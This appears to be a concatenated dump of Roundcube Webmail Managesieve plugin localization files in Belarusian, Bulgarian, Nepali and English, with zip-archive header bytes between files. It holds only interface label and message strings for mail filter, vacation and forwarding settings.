$labels['filterallof'] = 'выконваюцца ўсе наступныя правілы';
$labels['filteranyof'] = 'выконваецца любое з наступных правіл';
$labels['filterany'] = 'усе паведамленні';
$labels['filtercontains'] = 'змяшчае';
$labels['filternotcontains'] = 'не змяшчае';
$labels['filteris'] = 'роўна';
$labels['filterisnot'] = 'не роўна';
$labels['filterexists'] = 'існуе';
$labels['filternotexists'] = 'не існуе';
$labels['filtermatches'] = 'задавальняе выразу';
$labels['filternotmatches'] = 'не задавальняе выразу';
$labels['filterregex'] = 'задавальняе рэгулярнаму выразу';
$labels['filternotregex'] = 'не задавальняе рэгулярнаму выразу';
$labels['filterunder'] = 'менш';
$labels['filterover'] = 'больш';
$labels['addrule'] = 'Дадаць правіла';
$labels['delrule'] = 'Выдаліць правіла';
$labels['messagemoveto'] = 'Перамясціць паведамленне ў';
$labels['messageredirect'] = 'Перанакіраваць паведамленне на';
$labels['messagecopyto'] = 'Скапіяваць паведамленне ў';
$labels['messagesendcopy'] = 'Даслаць копію на';
$labels['messagereply'] = 'Адказаць наступнае';
$labels['messagedelete'] = 'Выдаліць паведамленне';
$labels['messagediscard'] = 'Скасаваць з паведамленнем';
$labels['messagekeep'] = 'Пакінуць паведамленне ў Атрыманых';
$labels['messagesrules'] = 'Для атрыманай пошты:';
$labels['messagesactions'] = '...выконваць наступныя дзеянні:';
$labels['add'] = 'Дадаць';
$labels['del'] = 'Выдаліць';
$labels['sender'] = 'Ад каго';
$labels['recipient'] = 'Каму';
$labels['vacationdays'] = 'Як часта дасылаць паведамленні (у днях):';
$labels['vacationinterval'] = 'Як часта дасылаць паведамленні:';
$labels['vacationreason'] = 'Цела паведамлення (прычына вакацый):';
$labels['vacationsubject'] = 'Тэма паведамлення:';
$labels['days'] = 'дзён';
$labels['seconds'] = 'секунд';
$labels['rulestop'] = 'Перастаць выконваць праверку правілаў';
$labels['enable'] = 'Уключыць/Выключыць';
$labels['filtersets'] = 'Наборы фільтраў';
$labels['filterdef'] = 'Вызначэнне фільтра';
$labels['active'] = 'актыўны';
$labels['none'] = 'няма';
$labels['fromset'] = 'з набору';
$labels['fromfile'] = 'з файла';
$labels['filterdisabled'] = 'Фільтр адключаны';
$labels['countisgreaterthan'] = 'лік большы за';
$labels['countisgreaterthanequal'] = 'лік большы за альбо роўны';
$labels['countislessthan'] = 'лік меншы за';
$labels['countislessthanequal'] = 'лік меншы за альбо роўны';
$labels['countequals'] = 'лік роўны';
$labels['countnotequals'] = 'лік не роўны';
$labels['valueisgreaterthan'] = 'значэнне большае за';
$labels['valueisgreaterthanequal'] = 'значэнне большае за альбо роўнае';
$labels['valueislessthan'] = 'значэнне меншае за';
$labels['valueislessthanequal'] = 'значэнне меншае за альбо роўнае';
$labels['valueequals'] = 'значэнне роўнае';
$labels['valuenotequals'] = 'значэнне не роўнае';
$labels['setflags'] = 'Устанавіць флагі на паведамленне';
$labels['addflags'] = 'Дадаць флагі да паведамлення';
$labels['removeflags'] = 'Выдаліць флагі з паведамлення';
$labels['flagread'] = 'Прачытана';
$labels['flagdeleted'] = 'Выдалена';
$labels['flaganswered'] = 'З адказам';
$labels['flagflagged'] = 'Пазначана';
$labels['flagdraft'] = 'Чарнавік';
$labels['setvariable'] = 'Устанавіць зменную';
$labels['setvarname'] = 'Імя зменнай:';
$labels['setvarvalue'] = 'Значэнне зменнай:';
$labels['setvarmodifiers'] = 'Мадыфікатары:';
$labels['varlower'] = 'ніжні рэгістр';
$labels['varupper'] = 'верхні рэгістр';
$labels['varlowerfirst'] = 'першы знак у ніжнім рэгістры';
$labels['varupperfirst'] = 'першы знак у верхнім рэгістры';
$labels['varquotewildcard'] = 'службовыя знакі забіраць у апострафы';
$labels['varlength'] = 'даўжыня';
$labels['notify'] = 'Паслаць апавяшчэнне';
$labels['notifyimportance'] = 'Важнасць:';
$labels['notifyimportancelow'] = 'нізкая';
$labels['notifyimportancenormal'] = 'звычайная';
$labels['notifyimportancehigh'] = 'высокая';
$labels['notifymethodmailto'] = 'Эл. пошта';
$labels['notifymethodtel'] = 'Тэлефон';
$labels['filtercreate'] = 'Стварыць фільтр';
$labels['usedata'] = 'Ужываць наступныя дадзеныя ў фільтры:';
$labels['nextstep'] = 'Наступны крок';
$labels['...'] = '...';
$labels['currdate'] = 'Бягучая дата';
$labels['datetest'] = 'Дата';
$labels['dateheader'] = 'загаловак:';
$labels['year'] = 'год';
$labels['month'] = 'месяц';
$labels['day'] = 'дзень';
$labels['date'] = 'дата (гггг-мм-дд)';
$labels['julian'] = 'дата (юліянская)';
$labels['hour'] = 'гадзіна';
$labels['minute'] = 'мінута';
$labels['second'] = 'секунда';
$labels['time'] = 'час (гг:мм:сс)';
$labels['iso8601'] = 'дата (ISO8601)';
$labels['std11'] = 'дата (RFC2822)';
$labels['zone'] = 'часавая зона';
$labels['weekday'] = 'дзень тыдня (0-6)';
$labels['advancedopts'] = 'Дадатковыя параметры';
$labels['body'] = 'Цела';
$labels['address'] = 'адрас';
$labels['envelope'] = 'канверт';
$labels['modifier'] = 'мадыфікатар:';
$labels['text'] = 'тэкст';
$labels['undecoded'] = 'неапрацаваны (сыры)';
$labels['contenttype'] = 'тып змесціва';
$labels['modtype'] = 'пошук у адрасах:';
$labels['allparts'] = 'усюль';
$labels['domain'] = 'у імені дамена';
$labels['localpart'] = 'толькі ў імені карыстальніка, без дамена';
$labels['user'] = 'у поўным імені карыстальніка';
$labels['detail'] = 'у дадатковых звестках';
$labels['comparator'] = 'спосаб параўнання:';
$labels['default'] = 'стандартны';
$labels['octet'] = 'строгі (octet)';
$labels['asciicasemap'] = 'без уліку рэгістру (ascii-casemap)';
$labels['asciinumeric'] = 'лікавы (ascii-numeric)';
$labels['index'] = 'індэкс:';
$labels['indexlast'] = 'назад';
$labels['spamtestequals'] = 'роўна';
$labels['spamtestnotequals'] = 'не роўна';
$labels['vacation.subject'] = 'Тэма';
$labels['vacation.body'] = 'Цела';
$labels['vacation.keep'] = 'Пакінуць';
$labels['vacation.discard'] = 'Адкінуць';
$labels['duplicate.header'] = 'загаловак:';
$messages['filterunknownerror'] = 'Невядомая памылка сервера.';
$messages['filterconnerror'] = 'Не ўдалося злучыцца з серверам.';
$messages['filterdeleteerror'] = 'Не ўдалося выдаліць фільтр. Памылка на серверы.';
$messages['filterdeleted'] = 'Фільтр выдалены.';
$messages['filtersaved'] = 'Фільтр захаваны.';
$messages['filtersaveerror'] = 'Не ўдалося захаваць фільтр. Памылка на серверы.';
$messages['filterdeleteconfirm'] = 'Напраўду выдаліць абраны фільтр?';
$messages['ruledeleteconfirm'] = 'Напраўду выдаліць абранае правіла?';
$messages['actiondeleteconfirm'] = 'Напраўду выдаліць абранае дзеянне?';
$messages['forbiddenchars'] = 'Забароненыя знакі ў полі.';
$messages['cannotbeempty'] = 'Поле не можа быць пустым.';
$messages['ruleexist'] = 'Фільтр з гэтай назвай ужо існуе.';
$messages['activateerror'] = 'Не ўдалося ўключыць абраны(я) фільтры. Памылка на серверы.';
$messages['deactivateerror'] = 'Не ўдалося адключыць абраны(я) фільтры. Памылка на серверы.';
$messages['deactivated'] = 'Фільтр(ы) адключаны.';
$messages['activated'] = 'Фільтр(ы) уключаны.';
$messages['moved'] = 'Фільтр перамешчаны.';
$messages['moveerror'] = 'Не ўдалося перамясціць абраны фільтр. Памылка на серверы.';
$messages['nametoolong'] = 'Задаўгая назва.';
$messages['namereserved'] = 'Зарэзерваваная назва.';
$messages['setexist'] = 'Набор ужо існуе.';
$messages['nodata'] = 'Мінімум адна пазіцыя павінна быць вылучана!';
$messages['invaliddateformat'] = 'Няслушная дата альбо фармат даты';
PKh�\�Lw� J J*plugins/managesieve/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Филтри';
$labels['managefilters'] = 'Управление на филтри за входяща поща';
$labels['filtername'] = 'Име на филтър';
$labels['newfilter'] = 'Нов филтър';
$labels['filteradd'] = 'Добавяне на филтър';
$labels['filterdel'] = 'Изтриване на филтър';
$labels['rules'] = 'Условия';
$labels['actions'] = 'Действия';
$labels['scope'] = 'Обхват';
$labels['moveup'] = 'Преместване нагоре';
$labels['movedown'] = 'Преместване надолу';
$labels['filterallof'] = 'при изпълнение на всички условия';
$labels['filteranyof'] = 'при изпълнение на някое от условията';
$labels['filterany'] = 'за всички писма';
$labels['filtercontains'] = 'съдържа';
$labels['filternotcontains'] = 'не съдържа';
$labels['filteris'] = 'е равно на';
$labels['filterisnot'] = 'не е равно на';
$labels['filterexists'] = 'съществува';
$labels['filternotexists'] = 'не съществува';
$labels['filtermatches'] = 'съвпада с израз';
$labels['filternotmatches'] = 'не съвпада с израз';
$labels['filterregex'] = 'отговаря на регулярен израз';
$labels['filternotregex'] = 'не отговаря на регулярен израз';
$labels['filterunder'] = 'под';
$labels['filterover'] = 'над';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME част:';
$labels['mime-message'] = 'писмо';
$labels['mime-anychild'] = 'която и да е';
$labels['mime-type'] = 'тип';
$labels['mime-subtype'] = 'подтип';
$labels['mime-contenttype'] = 'тип на съдържанието';
$labels['mime-param'] = 'параметър';
$labels['addrule'] = 'Ново условие';
$labels['delrule'] = 'Изтриване на условие';
$labels['messagemoveto'] = 'Премести писмото във';
$labels['messageredirect'] = 'Пренасочи писмото до';
$labels['messagecopyto'] = 'Копирай писмото във';
$labels['messagesendcopy'] = 'Изпрати копие на писмото до';
$labels['messagereply'] = 'Отговори с писмо';
$labels['messagedelete'] = 'Изтрий писмото';
$labels['messagediscard'] = 'Отхвърли с писмо';
$labels['messagekeep'] = 'Остави писмото във Входящи';
$labels['messagesrules'] = 'При получаване на поща:';
$labels['messagesactions'] = '...изпълни следните действия:';
$labels['add'] = 'Добави';
$labels['del'] = 'Изтрий';
$labels['sender'] = 'Подател';
$labels['recipient'] = 'Получател';
$labels['vacationaddr'] = 'Мои адреси на ел. поща:';
$labels['vacationdays'] = 'Колко често да праща писма (в дни):';
$labels['vacationinterval'] = 'Колко често да праща писма:';
$labels['vacationreason'] = 'Текст на писмото (причина за отпуск):';
$labels['vacationfrom'] = 'Адрес за отговор на подателя:';
$labels['vacationsubject'] = 'Заглавие на писмото:';
$labels['days'] = 'дни';
$labels['seconds'] = 'секунди';
$labels['rulestop'] = 'Спри проверка на други условия';
$labels['enable'] = 'Включи/Изключи';
$labels['filterset'] = 'Набор филтри';
$labels['filtersets'] = 'Набори филтри';
$labels['filtersetadd'] = 'Добавяне на набор филтри';
$labels['filtersetdel'] = 'Изтриване на набор филтри';
$labels['filtersetact'] = 'Активиране на текущ набор филтри';
$labels['filtersetdeact'] = 'Деактивиране на текущ набор филтри';
$labels['filterseteditraw'] = 'Редакция на набор филтри';
$labels['filtersetswitch'] = 'Включи/Изключи набор филтри';
$labels['filterdef'] = 'Дефиниране на филтър';
$labels['filtersetname'] = 'Име на набор филтри';
$labels['newfilterset'] = 'Нов набор филтри';
$labels['active'] = 'активен';
$labels['none'] = 'няма';
$labels['fromset'] = 'от набор';
$labels['fromfile'] = 'от файл';
$labels['filterdisabled'] = 'Изключен филтър';
$labels['filterenabled'] = 'Включен филтър';
$labels['countisgreaterthan'] = 'брой е по-голям от';
$labels['countisgreaterthanequal'] = 'брой е по-голям или равен на';
$labels['countislessthan'] = 'брой е по-малък от';
$labels['countislessthanequal'] = 'брой е по-малък или равен на';
$labels['countequals'] = 'брой е равен на';
$labels['countnotequals'] = 'брой не е равен на';
$labels['valueisgreaterthan'] = 'стойност е по-голяма от';
$labels['valueisgreaterthanequal'] = 'стойност е по-голяма или равна на';
$labels['valueislessthan'] = 'стойност е по-малка от';
$labels['valueislessthanequal'] = 'стойност е по-малка или равна на';
$labels['valueequals'] = 'стойност е равна на';
$labels['valuenotequals'] = 'стойност не е равна на';
$labels['setflags'] = 'Установи флагове на писмото';
$labels['addflags'] = 'Добави флагове към писмо';
$labels['removeflags'] = 'Премахни флагове от писмо';
$labels['flagread'] = 'Прочетено';
$labels['flagdeleted'] = 'Изтрито';
$labels['flaganswered'] = 'Отговорено';
$labels['flagflagged'] = 'Отбелязано';
$labels['flagdraft'] = 'Чернова';
$labels['addheader'] = 'Добави заглавен блок към писмо';
$labels['deleteheader'] = 'Премахни заглавен блок от писмо';
$labels['headername'] = 'Име на заглавен блок';
$labels['headervalue'] = 'Стойност на заглавен блок';
$labels['headerpos'] = 'Позиция на заглавен блок';
$labels['headeratstart'] = 'в началото';
$labels['headeratend'] = 'в края';
$labels['headeroccurrence'] = 'Поява/позиция на заглавен блок';
$labels['headerfromstart'] = 'от началото';
$labels['headerfromend'] = 'от края';
$labels['headerpatterns'] = 'Модели на стойността на заглавен блок';
$labels['headermatchtype'] = 'тип съвпадение:';
$labels['setvariable'] = 'Установи променлива';
$labels['setvarname'] = 'Име на променлива:';
$labels['setvarvalue'] = 'Стойност на променлива:';
$labels['setvarmodifiers'] = 'Модификатори:';
$labels['varlower'] = 'малки букви';
$labels['varupper'] = 'главни букви';
$labels['varlowerfirst'] = 'първи знак с малка буква';
$labels['varupperfirst'] = 'първи знак с главна буква';
$labels['varquotewildcard'] = 'цитиране на специални знаци';
$labels['varlength'] = 'дължина';
$labels['notify'] = 'Изпрати известие';
$labels['notifytarget'] = 'Известие към:';
$labels['notifymessage'] = 'Съдържание на известие (опционално):';
$labels['notifyoptions'] = 'Опции на известие (опционално):';
$labels['notifyfrom'] = 'Подател на известието (опционално):';
$labels['notifyimportance'] = 'Приоритет:';
$labels['notifyimportancelow'] = 'нисък';
$labels['notifyimportancenormal'] = 'нормален';
$labels['notifyimportancehigh'] = 'висок';
$labels['notifymethodmailto'] = 'Ел. поща';
$labels['notifymethodtel'] = 'Телефон';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Използвай за нов филтър';
$labels['usedata'] = 'Използвай следните данни във филтъра:';
$labels['nextstep'] = 'Следваща стъпка';
$labels['...'] = '...';
$labels['string'] = 'Низ';
$labels['currdate'] = 'Текуща дата';
$labels['datetest'] = 'Дата';
$labels['dateheader'] = 'заглавен блок:';
$labels['year'] = 'година';
$labels['month'] = 'месец';
$labels['day'] = 'ден';
$labels['date'] = 'дата (гггг-мм-дд)';
$labels['julian'] = 'дата (юлианска)';
$labels['hour'] = 'час';
$labels['minute'] = 'минута';
$labels['second'] = 'секунда';
$labels['time'] = 'време (чч:мм:сс)';
$labels['iso8601'] = 'дата (ISO8601)';
$labels['std11'] = 'дата (RFC2822)';
$labels['zone'] = 'часова зона';
$labels['weekday'] = 'ден от седмицата (0-6)';
$labels['advancedopts'] = 'Разширени настройки';
$labels['body'] = 'Основен текст';
$labels['address'] = 'адрес';
$labels['envelope'] = 'плик';
$labels['modifier'] = 'модификатор:';
$labels['text'] = 'текст';
$labels['undecoded'] = 'недекодиран (суров)';
$labels['contenttype'] = 'тип на съдържанието';
$labels['modtype'] = 'тип:';
$labels['allparts'] = 'всичко';
$labels['domain'] = 'домейн';
$labels['localpart'] = 'локална част';
$labels['user'] = 'потребител';
$labels['detail'] = 'детайли';
$labels['comparator'] = 'сравнител:';
$labels['default'] = 'по подразбиране';
$labels['octet'] = 'стриктно (октет)';
$labels['asciicasemap'] = 'без значение малки/големи букви';
$labels['asciinumeric'] = 'цифрово';
$labels['index'] = 'индекс:';
$labels['indexlast'] = 'наобратно';
$labels['spamtest'] = 'Ниво на Спам';
$labels['spamtestisgreaterthan'] = 'е по-голямо от';
$labels['spamtestisgreaterthanequal'] = 'е по-голямо или равно на';
$labels['spamtestislessthan'] = 'е по-малко от';
$labels['spamtestislessthanequal'] = 'е по-малко или равно на';
$labels['spamtestequals'] = 'е равно на';
$labels['spamtestnotequals'] = 'не е равно на';
$labels['spamtestisunknown'] = 'е неизвестно';
$labels['vacation'] = 'Отпуск';
$labels['vacation.reply'] = 'Писмо отговор';
$labels['vacation.advanced'] = 'Разширени настройки';
$labels['vacation.from'] = 'Адрес за отговор на подателя:';
$labels['vacation.subject'] = 'Относно';
$labels['vacation.body'] = 'Съдържание';
$labels['vacation.start'] = 'Начало';
$labels['vacation.end'] = 'Край';
$labels['vacation.status'] = 'Статус';
$labels['vacation.on'] = 'Вкл.';
$labels['vacation.off'] = 'Изкл.';
$labels['vacation.addresses'] = 'Мои адреси на ел. поща';
$labels['vacation.interval'] = 'Интервал на отговор';
$labels['vacation.after'] = 'Постави правилото за отпуск след';
$labels['vacation.saving'] = 'Запис на данни...';
$labels['vacation.action'] = 'Действие при получаване на писмо';
$labels['vacation.keep'] = 'Запази';
$labels['vacation.discard'] = 'Изхвърли';
$labels['vacation.redirect'] = 'Препрати на';
$labels['vacation.copy'] = 'Прати копие на';
$labels['forward'] = 'Препращане';
$labels['forward.redirect'] = 'Препрати на';
$labels['forward.copy'] = 'Прати копие на';
$labels['forward.on'] = 'Вкл.';
$labels['forward.off'] = 'Изкл.';
$labels['forward.status'] = 'Статус:';
$labels['forward.action'] = 'При получаване на поща изпълни следното действие:';
$labels['forward.saving'] = 'Запис на данни...';
$labels['filladdresses'] = 'Попълни с всички мои адреси';
$labels['arialabelfiltersetactions'] = 'Действия за набор от филтри';
$labels['arialabelfilteractions'] = 'Действия на филтър';
$labels['arialabelfilterform'] = 'Свойства на филтър';
$labels['ariasummaryfilterslist'] = 'Списък филтри';
$labels['ariasummaryfiltersetslist'] = 'Списък набори от филтри';
$labels['filterstitle'] = 'Редакция на филтри за входяща поща';
$labels['vacationtitle'] = 'Редакция на правило за отпуск (извън офиса)';
$labels['forwardtitle'] = 'Редактиране на правилото за препращане на поща';
$labels['message'] = 'Писмо';
$labels['duplicate'] = 'е дубликат';
$labels['notduplicate'] = 'не е дубликат';
$labels['duplicate.handle'] = 'манипулатор:';
$labels['duplicate.header'] = 'заглавен блок:';
$labels['duplicate.uniqueid'] = 'идентификатор:';
$labels['duplicate.seconds'] = 'време за отказ (секунди)';
$labels['duplicate.last'] = 'спрямо последното изпълнение';
$messages['filterunknownerror'] = 'Неизвестна сървърна грешка.';
$messages['filterconnerror'] = 'Неуспешно свързване с managesieve сървъра.';
$messages['filterdeleteerror'] = 'Невъзможно изтриване на филтъра. Възникна сървърна грешка.';
$messages['filterdeleted'] = 'Филтърът е изтрит успешно.';
$messages['filtersaved'] = 'Филтърът е записан успешно.';
$messages['filtersaveerror'] = 'Невъзможно записване на филтъра. Възникна сървърна грешка.';
$messages['filterformerror'] = 'Филтър формата съдържа грешки.';
$messages['filterdeleteconfirm'] = 'Наистина ли желаете да изтриете избрания филтър?';
$messages['ruledeleteconfirm'] = 'Сигурни ли сте, че желаете да изтриете избраното условие?';
$messages['actiondeleteconfirm'] = 'Сигурни ли сте, че желаете да изтриете избраното действие?';
$messages['forbiddenchars'] = 'Забранени символи в полето.';
$messages['cannotbeempty'] = 'Полето не може да бъде празно.';
$messages['ruleexist'] = 'Вече има филтър с указаното име.';
$messages['setactivateerror'] = 'Невъзможно активиране на избрания набор от филтри. Възникна сървърна грешка.';
$messages['setdeactivateerror'] = 'Невъзможно деактивиране на избрания набор от филтри. Възникна сървърна грешка.';
$messages['setdeleteerror'] = 'Невъзможно изтриване на избрания набор от филтри. Възникна сървърна грешка.';
$messages['setactivated'] = 'Наборът от филтри е активиран успешно.';
$messages['setdeactivated'] = 'Наборът от филтри е деактивиран успешно.';
$messages['setdeleted'] = 'Наборът от филтри е изтрит успешно.';
$messages['setupdated'] = 'Наборът от филтри е променен успешно.';
$messages['setdeleteconfirm'] = 'Сигурни ли сте, че желаете да изтриете избрания набор от филтри?';
$messages['setcreateerror'] = 'Невъзможно създаване на набор от филтри. Възникна сървърна грешка.';
$messages['setcreated'] = 'Наборът от филтри е създаден успешно.';
$messages['activateerror'] = 'Невъзможно включване на филтъра. Възникна сървърна грешка.';
$messages['deactivateerror'] = 'Невъзможно изключване на филтъра. Възникна сървърна грешка.';
$messages['deactivated'] = 'Филтърът е изключен успешно.';
$messages['activated'] = 'Филтърът е включен успешно.';
$messages['moved'] = 'Филтърът е преместен успешно.';
$messages['moveerror'] = 'Невъзможно преместване на филтъра. Възникна сървърна грешка.';
$messages['nametoolong'] = 'Името е прекалено дълго.';
$messages['namereserved'] = 'Резервирано име.';
$messages['setexist'] = 'Вече има такъв набор филтри.';
$messages['nodata'] = 'Поне една позиция трябва да е избрана!';
$messages['invaliddateformat'] = 'невалидна дата или формат на част от дата';
$messages['saveerror'] = 'Невъзможен запис на данни. Грешка при достъп до сървър.';
$messages['vacationsaved'] = 'Данните за отпуск са записани успешно.';
$messages['forwardsaved'] = 'Данните за препращане са записани успешно.';
$messages['emptyvacationbody'] = 'Липсва текст на писмо при отпуск!';
$messages['duplicate.conflict.err'] = 'Не е позволено едновременното използване на заглавен блок и уникален идентификатор.';
$messages['disabledaction'] = 'Непозволенo действие.';
$messages['lastindexempty'] = 'Необходим е индекс, когато се брои от края';
$messages['noflagset'] = 'Поне един флаг трябва да е избран.';
PKh�\�"�{77*plugins/managesieve/localization/ne_NP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'रद्दी टोकरीमा हाल्नुहोस';
$labels['del'] = 'मेटाउनुहोस';
$labels['notifymethodmailto'] = 'ई-मेल';
$labels['datetest'] = 'तारिख';
$labels['vacation.subject'] = 'विषय';
PKh�\c��Mi5i5*plugins/managesieve/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filters';
$labels['managefilters'] = 'Manage incoming mail filters';
$labels['filtername'] = 'Filter name';
$labels['newfilter'] = 'New filter';
$labels['filteradd'] = 'Add filter';
$labels['filterdel'] = 'Delete filter';
$labels['rules'] = 'Rules';
$labels['actions'] = 'Actions';
$labels['scope'] = 'Scope';
$labels['moveup'] = 'Move up';
$labels['movedown'] = 'Move down';
$labels['filterallof'] = 'matching all of the following rules';
$labels['filteranyof'] = 'matching any of the following rules';
$labels['filterany'] = 'all messages';
$labels['filtercontains'] = 'contains';
$labels['filternotcontains'] = 'not contains';
$labels['filteris'] = 'is equal to';
$labels['filterisnot'] = 'is not equal to';
$labels['filterexists'] = 'exists';
$labels['filternotexists'] = 'not exists';
$labels['filtermatches'] = 'matches expression';
$labels['filternotmatches'] = 'not matches expression';
$labels['filterregex'] = 'matches regular expression';
$labels['filternotregex'] = 'not matches regular expression';
$labels['filterunder'] = 'under';
$labels['filterover'] = 'over';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME part:';
$labels['mime-message'] = 'message';
$labels['mime-anychild'] = 'any';
$labels['mime-type'] = 'type';
$labels['mime-subtype'] = 'subtype';
$labels['mime-contenttype'] = 'content-type';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Add rule';
$labels['delrule'] = 'Delete rule';
$labels['messagemoveto'] = 'Move message to';
$labels['messageredirect'] = 'Redirect message to';
$labels['messagecopyto'] = 'Copy message to';
$labels['messagesendcopy'] = 'Send message copy to';
$labels['messagereply'] = 'Reply with message';
$labels['messagedelete'] = 'Delete message';
$labels['messagediscard'] = 'Discard with message';
$labels['messagekeep'] = 'Keep message in Inbox';
$labels['messagesrules'] = 'For incoming mail:';
$labels['messagesactions'] = '...execute the following actions:';
$labels['add'] = 'Add';
$labels['del'] = 'Delete';
$labels['sender'] = 'Sender';
$labels['recipient'] = 'Recipient';
$labels['vacationaddr'] = 'My e-mail addresses:';
$labels['vacationdays'] = 'How often send messages (in days):';
$labels['vacationinterval'] = 'How often send messages:';
$labels['vacationreason'] = 'Message body (vacation reason):';
$labels['vacationfrom'] = 'Reply sender address:';
$labels['vacationsubject'] = 'Message subject:';
$labels['days'] = 'days';
$labels['seconds'] = 'seconds';
$labels['rulestop'] = 'Stop evaluating rules';
$labels['enable'] = 'Enable/Disable';
$labels['filterset'] = 'Filter set';
$labels['filtersets'] = 'Filter sets';
$labels['filtersetadd'] = 'Add filter set';
$labels['filtersetdel'] = 'Delete filter set';
$labels['filtersetact'] = 'Activate current filter set';
$labels['filtersetdeact'] = 'Deactivate current filter set';
$labels['filterseteditraw'] = 'Edit filter set';
$labels['filtersetswitch'] = 'Enable/disable filter set';
$labels['filterdef'] = 'Filter definition';
$labels['filtersetname'] = 'Filter set name';
$labels['newfilterset'] = 'New filter set';
$labels['active'] = 'active';
$labels['none'] = 'none';
$labels['fromset'] = 'from set';
$labels['fromfile'] = 'from file';
$labels['filterdisabled'] = 'Filter disabled';
$labels['filterenabled'] = 'Filter enabled';
$labels['countisgreaterthan'] = 'count is greater than';
$labels['countisgreaterthanequal'] = 'count is greater than or equal to';
$labels['countislessthan'] = 'count is less than';
$labels['countislessthanequal'] = 'count is less than or equal to';
$labels['countequals'] = 'count is equal to';
$labels['countnotequals'] = 'count is not equal to';
$labels['valueisgreaterthan'] = 'value is greater than';
$labels['valueisgreaterthanequal'] = 'value is greater than or equal to';
$labels['valueislessthan'] = 'value is less than';
$labels['valueislessthanequal'] = 'value is less than or equal to';
$labels['valueequals'] = 'value is equal to';
$labels['valuenotequals'] = 'value is not equal to';
$labels['setflags'] = 'Set flags to the message';
$labels['addflags'] = 'Add flags to the message';
$labels['removeflags'] = 'Remove flags from the message';
$labels['flagread'] = 'Read';
$labels['flagdeleted'] = 'Deleted';
$labels['flaganswered'] = 'Answered';
$labels['flagflagged'] = 'Flagged';
$labels['flagdraft'] = 'Draft';
$labels['addheader'] = 'Add header to the message';
$labels['deleteheader'] = 'Remove header from the message';
$labels['headername'] = 'Header name';
$labels['headervalue'] = 'Header value';
$labels['headerpos'] = 'Header position';
$labels['headeratstart'] = 'at the beginning';
$labels['headeratend'] = 'at the end';
$labels['headeroccurrence'] = 'Header occurrence/position';
$labels['headerfromstart'] = 'from start';
$labels['headerfromend'] = 'from end';
$labels['headerpatterns'] = 'Header value patterns';
$labels['headermatchtype'] = 'match type:';
$labels['setvariable'] = 'Set variable';
$labels['setvarname'] = 'Variable name:';
$labels['setvarvalue'] = 'Variable value:';
$labels['setvarmodifiers'] = 'Modifiers:';
$labels['varlower'] = 'lower-case';
$labels['varupper'] = 'upper-case';
$labels['varlowerfirst'] = 'first character lower-case';
$labels['varupperfirst'] = 'first character upper-case';
$labels['varquotewildcard'] = 'quote special characters';
$labels['varlength'] = 'length';
$labels['notify'] = 'Send notification';
$labels['notifytarget'] = 'Notification target:';
$labels['notifymessage'] = 'Notification message (optional):';
$labels['notifyoptions'] = 'Notification options (optional):';
$labels['notifyfrom'] = 'Notification sender (optional):';
$labels['notifyimportance'] = 'Importance:';
$labels['notifyimportancelow'] = 'low';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'high';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Phone';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Create filter';
$labels['usedata'] = 'Use following data in the filter:';
$labels['nextstep'] = 'Next Step';
$labels['...'] = '...';
$labels['string'] = 'String';
$labels['currdate'] = 'Current date';
$labels['datetest'] = 'Date';
$labels['dateheader'] = 'header:';
$labels['year'] = 'year';
$labels['month'] = 'month';
$labels['day'] = 'day';
$labels['date'] = 'date (yyyy-mm-dd)';
$labels['julian'] = 'date (julian)';
$labels['hour'] = 'hour';
$labels['minute'] = 'minute';
$labels['second'] = 'second';
$labels['time'] = 'time (hh:mm:ss)';
$labels['iso8601'] = 'date (ISO8601)';
$labels['std11'] = 'date (RFC2822)';
$labels['zone'] = 'time-zone';
$labels['weekday'] = 'weekday (0-6)';
$labels['advancedopts'] = 'Advanced options';
$labels['body'] = 'Body';
$labels['address'] = 'address';
$labels['envelope'] = 'envelope';
$labels['modifier'] = 'modifier:';
$labels['text'] = 'text';
$labels['undecoded'] = 'undecoded (raw)';
$labels['contenttype'] = 'content type';
$labels['modtype'] = 'type:';
$labels['allparts'] = 'all';
$labels['domain'] = 'domain';
$labels['localpart'] = 'local part';
$labels['user'] = 'user';
$labels['detail'] = 'detail';
$labels['comparator'] = 'comparator:';
$labels['default'] = 'default';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'case insensitive (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'backwards';
$labels['spamtest'] = 'Spam level';
$labels['spamtestisgreaterthan'] = 'is greater than';
$labels['spamtestisgreaterthanequal'] = 'is greater than or equal to';
$labels['spamtestislessthan'] = 'is less than';
$labels['spamtestislessthanequal'] = 'is less than or equal to';
$labels['spamtestequals'] = 'is equal to';
$labels['spamtestnotequals'] = 'is not equal to';
$labels['spamtestisunknown'] = 'is unknown';
$labels['vacation'] = 'Out of Office';
